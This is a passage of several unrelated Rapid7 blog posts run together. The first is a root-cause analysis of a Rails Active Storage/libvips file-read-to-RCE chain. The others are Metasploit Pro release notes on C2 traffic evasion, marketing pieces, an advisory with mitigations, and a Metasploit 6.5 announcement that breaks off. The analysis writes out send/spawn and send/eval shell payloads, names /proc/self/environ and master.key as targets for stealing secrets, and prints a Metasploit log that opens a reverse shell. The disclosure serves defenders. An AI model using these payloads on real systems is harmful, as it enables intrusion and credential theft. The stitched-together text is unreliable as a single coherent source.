At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # <-- [8]
	convert(format).
	apply(operations). # <-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # <-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, <<~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list << [ name, argument ] # <-- [11]
	end
  end
end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end

Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
	if argument == true || argument == nil
	  builder.public_send(name)
	elsif argument.is_a?(Array)
	  builder.public_send(name, *argument) # <-- [22]
	elsif argument.is_a?(Hash)
	  builder.public_send(name, **argument)
	else
	  builder.public_send(name, argument)
	end
  end
end

At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consistent UI. This release is powered by Metasploit Framework 6.5.

Malleable C2 Profiles

One of the most requested capabilities in modern red-team engagements is the ability to blend Meterpreter's network traffic into legitimate-looking patterns. Metasploit Pro 5.1 brings full Malleable C2 profile support, powered by Metasploit Framework 6.5, directly into the Pro UI — no command-line knowledge required.

Malleable C2 profiles let you load a standard profile and reshape Meterpreter's HTTP(S) traffic to emulate legitimate services, browser sessions, or any other traffic pattern you need. All Meterpreter flavours — Windows, Linux, Java, Python, and PHP — are supported, including stageless and staged payloads (e.g. meterpreter/reverse_https and meterpreter_reverse_https). This functionality is compatible with publicly available profile libraries.

Profile support across the Pro UI

Malleable C2 profiles are now available in every part of the workflow where a payload is configured:

• Single Module Run: The module options page now includes a Malleable C2 section.
• Listeners (New & Edit): You can now choose from profiles already uploaded to the server or upload a new .profile file directly from your browser.
• Payload Generator: The standalone payload generator also exposes the profile picker, so standalone payloads can carry the same C2 profile as the rest of your operation.
  

Figure 1 Malleable Profiles

Improved Payload Section

Alongside the Malleable C2 integration, the payload selector has been overhauled across the Listener, Module Run, and Payload Generator pages. You can now filter payloads by platform and stage, making it much faster to find the right payload in large lists.

Figure 2: Advanced Payload Options

Figure 3: Additional Payload Options

Service Hierarchy Tracking Support

The Discovered Services table has been overhauled with a cleaner, more capable interface consistent with the rest of Pro 5.1.

• Service hierarchy visibility: The most significant new capability. Services can have parent-child relationships - for example, an HTTP service running over TCP, or a tunnelled protocol layered over another. The new table exposes this hierarchy directly with dedicated columns showing each service's parent and child services, so you can immediately understand how discovered services relate to one another without drilling into individual records.
• Search and sort across all columns: You can now search across host name, host address, service name, protocol, port, and info in a single query. All major columns are sortable, including parent services.
• Inline editing: Service fields (name, port, protocol, state, resource) can be edited directly from the table without navigating away.

Figure 4: Service Options

Figure 5: Service Hierarchy Display

Network Topology Enhancements

Building on Metasploit Pro 5.0's improvements to the Network Topology, we've added additional support and functionality for exploring your internal infrastructure. Previously, each node in the graph provided a high level summary of the host details when hovering over the node. This has now been moved into a dedicated side panel that surfaces everything you know about a host without leaving the topology view.

Rich host information panels

Click any node in the topology graph and the side panel now shows a consolidated summary of everything Metasploit knows about that host:

• Sessions: all sessions (open and closed) opened against the host, including session type, exploit used, payload, and timestamps.
• Loot: captured loot items associated with the host, including type, name, and content type.
• Credentials: cracked and captured credentials organised by service, de-duplicated and sorted with successful logins first.
• Modules run: a list of every module that has been executed against the host.
• Tags: any tags applied to the host or its sessions.

Figure 6: Network Topology Display

New filter options

The topology graph toolbar has three new filters to help focus on the hosts that matter:

• Filter by bruteforce - highlight services that can be bruteforced remotely on a host.
• Filter by tag - narrow the graph to hosts carrying a specific session or host tag.
• Filter by username - show only hosts where a particular user account has been compromised.
• Filter by module - surface hosts that have had a specific module run against them.

Figure 7: Network Topology Graph Filter Options

Discovered Vulnerabilities - Modern UI

The Discovered Vulnerabilities table has been fully rewritten, bringing it in line with the UI overhaul introduced across the rest of Pro in 5.0.

Key improvements:

• High level view and granular views - Each registered vulnerability provides a high view such as references and affected services, as well as a more granular expandable breakdown view.
• Inline editing - vulnerability details can be edited directly from the table without navigating to a separate page.
• Nexpose integration preserved - all existing InsightVM/Nexpose push and pull workflows are retained in the new implementation.

Figure 8: Discovered Vulnerabilities Modern UI

Attack technique filtering support

MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Metasploit Pro now supports searching for modules by these techniques:

Figure 9: Attack Technique Filtering Search

Upgrading

Existing Pro installations can be upgraded through the standard update mechanism. Full upgrade instructions are available in the Metasploit Pro documentation.

These features are available in Metasploit Pro 5.1.0 onwards. We're proud to collaborate with our customers, who are often the source of inspiration for product evolution. Ideas for improvements or enhancements can be shared with our Support team to help refine and submit them to the Product team on your behalf.

Ross Baker is Senior Director, Northern Europe at Rapid7.

As organizations across the United Kingdom and Ireland embrace AI, cloud technologies, and digital transformation in the name of enhancing customer experiences and accelerating business growth, the cybersecurity landscape must continue to evolve just as quickly.

In this environment, business leaders still expect security to enable innovation, not slow it down. They're pushed to reduce risk, improve visibility across expanding attack surfaces, and respond faster than ever before, with limited resources now table stakes. This is precisely why Rapid7 is excited to announce a new strategic distribution partnership with Exclusive Networks across the United Kingdom and Ireland, following previous announcements alongside the firm to better support partners across Benelux and the Nordics.

Organizations no longer want disconnected security tools or transactional vendor relationships. They're looking for trusted advisors who can help simplify security operations, strengthen cyber resilience, and deliver measurable business outcomes.

In this moment, cybersecurity customers are demanding experiences that create more calm. This means no more disconnected security tools or reactive approaches, but integrated security operations, trusted expertise, and partners who can help them improve visibility and build long-term cyber resilience.

Investing in partner success

The UK and Ireland represent one of Europe's most mature and partner-driven cybersecurity markets, with partners playing an increasingly important role in helping organizations modernize security operations for today’s AI-enabled threats.

This partnership with Exclusive Networks reflects Rapid7's continued investment in the regional channel ecosystem. More than expanding distribution, it's about empowering partners with specialist expertise, technical enablement, and the go-to-market support they need to grow their cybersecurity businesses with confidence.

Exclusive Networks has built an outstanding reputation as one of the UK's leading specialist cybersecurity distributors, combining deep technical expertise with a strong, partner-first approach.

Together, we're creating new opportunities for partners to strengthen their capabilities while delivering greater value to customers.

Helping partners deliver modern security operations

Security teams are increasingly looking for platforms that unify exposure management, threat detection, response, and automation. Again we go back to the urgent need for improved visibility while reducing operational complexity.

Rapid7's AI-powered cybersecurity operations platform helps organizations simplify SecOps through integrated exposure management, managed detection and response, and security automation. By bringing these capabilities together, customers can identify risk earlier, respond faster, and improve cyber resilience without adding more tools.

Combined with Exclusive Networks' technical enablement, solution engineering expertise, and established channel ecosystem, this new alliance makes it easier for partners to deliver integrated cybersecurity solutions while expanding managed security services and fostering long-term customer relationships.

Looking ahead

Rapid7 and Exclusive Networks share a common commitment to helping partners grow through technical excellence, collaboration, and continuous enablement. Together, we're investing in the resources, expertise, and support needed to help partners succeed in one of Europe's most dynamic cybersecurity markets.

Ready to grow with Rapid7? Head to our Partners page for more news, resources, and opportunities.

Black Hat USA returns to Mandalay Bay in Las Vegas this August, bringing together security practitioners, researchers, and leaders from around the world. Rapid7 will be there in the Business Hall, with new capabilities, live demonstrations, expert-led sessions, and two days of activities at the Border Grill.

This year, our focus is preemptive security: helping security teams anticipate credible risk, respond at machine speed, and maintain an accurate view of their security and compliance posture as their environment changes.

Visit the Rapid7 booth at Black Hat USA

You can find Rapid7 at booth #2445 in the Mandalay Bay Business Hall, open and running on the following days and times:

• Tuesday, August 4: 4:00–7:00 p.m.

• Wednesday, August 5: 9:00 a.m.–6:00 p.m.

• Thursday, August 6: 9:00 a.m.–4:00 p.m.

The booth will include two demonstration stations, seating, giveaways, and our friendly team of Rapid7 experts – there to help you explore the challenges most relevant to your organization. A chess-inspired theme reflects the principle behind preemptive security: understanding what may happen next and acting before risk becomes an incident.

Live demonstrations will cover four connected areas of the Rapid7 platform:

Predictive risk and vulnerability management: See how attacker behavior and exposure context can help teams focus remediation on vulnerabilities that present credible risk.

Agentic threat detection and response: Explore how the Rapid7 AI Engine and technology from Kenzo Security support adaptive investigations and reduce the time analysts spend gathering context.

Continuous compliance automation: See how Cyber GRC connects governance workflows with live security data, automates evidence collection, and identifies control drift.

Preemptive MDR: Learn how continuous SOC operations, exposure context, and Rapid7 Labs threat intelligence can extend the coverage of internal security teams.

Explore the latest Rapid7 launches at Black Hat

Black Hat will provide a closer look at several additions to the Rapid7 platform, including the general availability of Cyber GRC.

Cyber GRC brings security operations and governance teams closer together by connecting GRC workflows with live security data. The solution draws evidence from SecOps telemetry into compliance dashboards, helping teams maintain a current view of their controls, while AI-assisted workflows reduce the manual inputs involved in third-party risk questionnaires and other repetitive tasks.

Attendees can also learn more about Preemptive MDR Alerts, predictive vulnerability management, and enhanced agentic SOC investigations. These capabilities combine exposure data, asset criticality, threat intelligence, and detection context to help teams identify where attackers are most likely to act. Some will be presented as early-access previews, so availability will vary.

Join us at Border Grill

Rapid7 will take over the Border Grill at Mandalay Bay on Wednesday, August 5 and Thursday, August 6. The space will include additional demonstrations, meeting areas, expert presentations, breakfasts & lunches, and opportunities to speak with Rapid7 leaders and product teams.

Highlights from the agenda include:

Preemptive Security for the Age of AI

Wednesday, August 5, 12:00–12:45 p.m.

Rapid7 Executive Chairman Corey Thomas will discuss how AI-driven threats are changing security operations and what it takes to move toward a more preemptive model.

Agentic SOC: Threat Detection and Response

Thursday, August 6, 9:30–10:15 a.m.

Lisa Washburn, Senior Director of Product Management, will explore how AI agents can investigate alerts at machine speed while keeping expert judgment involved.

Cyber GRC in the Age of AI

Thursday, August 6, 11:30 a.m.–12:15 p.m.

Jon Schipp, Senior Director of Product Management, will show how live security data and automated evidence can support continuous audit readiness.

Border Grill will also host live demos, customer and executive meetings, and the Rapid7 Happy Hour on Wednesday. VIP access begins at 4:00 p.m., followed by general admission from 5:00–7:30 p.m.

Hear from Rapid7 security researchers

Rapid7 researchers Jack Heysel and Spencer McIntyre will present The Metasploit Framework 6.5: Malleable C2 Payloads, New Relay Capability and Protocol Session Upgrades at Arsenal Station 4 in the Business Hall on Wednesday, August 5 from 4:00–5:00 p.m.

Book time with Rapid7 at Black Hat

Whether your priority is reducing exposure, giving SOC analysts better context, improving response speed, or strengthening audit readiness, you can book a meeting or tailored demonstration with the Rapid7 team.

Visit us at booth #2445, join us at Border Grill, or reserve time in advance. Register for the Rapid7 Black Hat experience here.

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.

An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.

As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.

Update #1: On July 31, 2026, Rails published technical details and forensic tools earlier than its planned August 28 disclosure date after several researchers reverse-engineered the attack and published proof-of-concept code.

Technical overview

libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked "unfuzzed" or "untrusted" because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.

The attack details published by Rails describe a chain in which an attacker creates a blob through Active Storage's direct-upload endpoint with a false image content type and obtains a genuine signed variation_key from a page that renders an Active Storage representation. A crafted file identifies itself to libvips as a MATLAB level 5 file but to libmatio as a MAT 7.3 HDF5 container. HDF5's External File List then reads bytes from an attacker-selected path, which are rendered as image pixels and returned in the resulting variant. This known chain also requires the deployed libvips build to include the matload operation.

For this documented chain, the Active Storage direct-upload route must be reachable. When Active Storage routes are mounted, the direct-upload route is present by default even if the application's own interface does not use direct uploads. Rapid7 testing found that ordinary server-side attachment does not satisfy this chain because Rails re-identifies the crafted file as MATLAB data before variant processing.

The arbitrary file-read stage does not require knowledge of secret_key_base or a forged variation key. Rapid7 also verified an RCE escalation in which recovered Rails signing material is used to forge an ImageProcessing 1.x variation; this path does not require Marshal deserialization.

The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.

On August 3, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-66066, detailing the full RCE chain and accompanying metasploit module.

Mitigation guidance

Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.

Rails has published forensic tools to assess whether an application was vulnerable and search Active Storage data for crafted files. Because scheduled cleanup of unattached blobs may remove evidence, Rapid7 recommends beginning forensic assessment promptly.

The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The fixed Rails releases are:

The Rails advisory lists all Active Storage releases earlier than 7.2.3.2 as affected, which includes releases before Rails 7.0. Ethiack reports that Rails 6.0.0 through 6.1.7.10 may be affected when Active Storage is configured to use Vips, and Rapid7 has verified that the known attack works on the Rails 6.0 and 6.1 branches under that non-default configuration. Rails has not published fixed releases for branches earlier than 7.2, so affected applications on those branches should migrate to a supported fixed branch or apply the applicable workaround below.

When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.

As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.

For the latest mitigation guidance, please refer to the Ruby on Rails security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release. 

Updates

• July 30, 2026: Initial publication.

• July 31, 2026: Updated with technical details and forensic resources published by Rails, and clarified the affected version range.

• August 3, 2026: Added a Technical analysis section for the new Rapid7 Analysis.

IDC has named Rapid7 a Leader in the 2026 Worldwide Managed Detection and Response Service for Midmarket 2026 Vendor Assessment (Doc #US52992326, July 2026). We believe this recognition and research highlights where MDR is heading.

Many security programs are still built around a reactive sequence of detect, triage, and respond, but the timelines surrounding modern attacks have changed too quickly for that model to hold up on its own. Time-to-exploit has dropped from two years to 22 hours, while eCrime breakout time now sits at 29 minutes. In an environment like that, a program moving at human speed across siloed data, cannot keep pace. Rapid7’s view is that MDR must evolve accordingly, which is why we have been building toward a more preemptive security model.

What the IDC MarketScape said

The IDC MarketScape evaluation examined vendors across technical capability, service delivery, and strategic vision and two of IDC comments about Rapid7 stand out for us:

First, on how Rapid7’s MDR works differently:

"Rapid7's Preemptive MDR model, which natively integrates vulnerability context, asset criticality, and attack path data directly into the analyst investigation workflow, provides a structurally differentiated detection approach that connects threat activity to underlying exposure in real time."

This is the core of what we've built. Exposure management and detection and response work in our Command Platform’s unified data mesh, which means exposure context shapes what threats get surfaced, while active threat monitoring improves how exposure is prioritized. That connection is a meaningful part of how Rapid7 approaches MDR today.

Second, comments on threat intelligence:

"The combination of [Rapid7] Project Lorelei honeypot intelligence and Project Sonar internet-wide exposure data provides proprietary threat intelligence sources that are not replicated by other providers in the market."

This threat intelligence is fueled by Rapid7 Labs, our dedicated global threat research and intelligence division, which constantly analyzes the global attack surface. Project Sonar catalogs public internet exposure, and Project Lorelei is our global network of honeypots that catches live attacker traffic. Together, they give Rapid7 a proprietary source of intelligence that feeds directly into detection engineering and investigation workflows.

Where MDR is heading next:

The recognition is important to us, but the more useful question is where MDR is heading and how Rapid7 is building for that shift.  We are actively deploying autonomous AI agents in our Agentic SOC to handle the first hour of forensic investigation, including volatile memory collection, identity flow correlation, and initial triage before a human analyst opens the case. In practical terms, that is what responding at machine speed starts to look like inside a modern SOC.

Our MDR offering, Managed Threat Complete, includes unlimited incident response and a $1M Breach Protection Warranty, adding a stronger level of accountability for organizations that want MDR outcomes backed by both service depth and financial protection.

Read IDC’s full evaluation of Rapid7 here. If you're evaluating your MDR approach, we'd like to show you what preemptive security could look like in your environment.

Today we’re proud to announce that Metasploit Framework version 6.5 has been released. Over the past two years, with the help of countless contributors, we’ve added 422 new modules along with a whole slew of new features.

Malleable C2 Profiles for HTTP

